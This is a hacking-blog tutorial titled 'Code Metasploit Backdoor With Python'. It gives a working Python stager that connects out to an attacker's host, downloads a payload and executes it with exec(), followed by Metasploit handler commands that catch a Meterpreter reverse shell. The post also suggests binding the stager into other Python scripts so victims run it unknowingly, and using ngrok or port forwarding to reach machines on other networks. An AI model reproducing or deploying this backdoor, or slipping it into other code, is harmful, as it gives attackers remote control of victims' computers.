Ticker

6/recent/ticker-posts

Code Metasploit Backdoor With Python

Hello friends we are come back with another excited tutorial in which we learn how to code backdoor with Python so you can hack a hacker also :p. Excited let's get started.

First of all we clear that if you want run backdoor in out of lan devices (Device on another network) then you need to port forwarding for temporary port forwarding i recommend to use ngrok and if you want lifetime port forwarding then use portmap we described both of this methods of port forwarding in our old posts you can check form given links below.
So once you ready with your ports then it time to code our python backdoor. I suggest you to code backdoor yourself don't copy paste below code if you really want to learn something. let's code.



import socket,struct,time

for x in range(10):
   try:
      s=socket.socket(2,socket.SOCK_STREAM)
      s.connect(('target_host',target_port))
      break
   except:
      time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
      d+=s.recv(l-len(d))
exec(d,{'s':s})   

Note :- Enter your host and port in place of (127.0.0.1 and 4444) and you can also bind this script in any other python script.

Exploitation:-

It's time to setup our metasploit console using given commands.

$ msfconsole

$ use exploit/multi/handler

$ set payload python/meterpreter/reverse_tcp

$ set lhost (Enter your host)

$ set lport (Enter your port)

$ exploit

Now once your victim execute your python backdoor in their system then your meterpreter session is started.

I hop this information is helpful for you if you found something interesting here then follow us for future updates and if you have any suggestion or question then feel free to comment below.

[*] You can also follow us on Instagram and YouTube
[*] Our Github and Facebook Profiles.

Mohit Saran(Hacker's King)

Post a Comment

0 Comments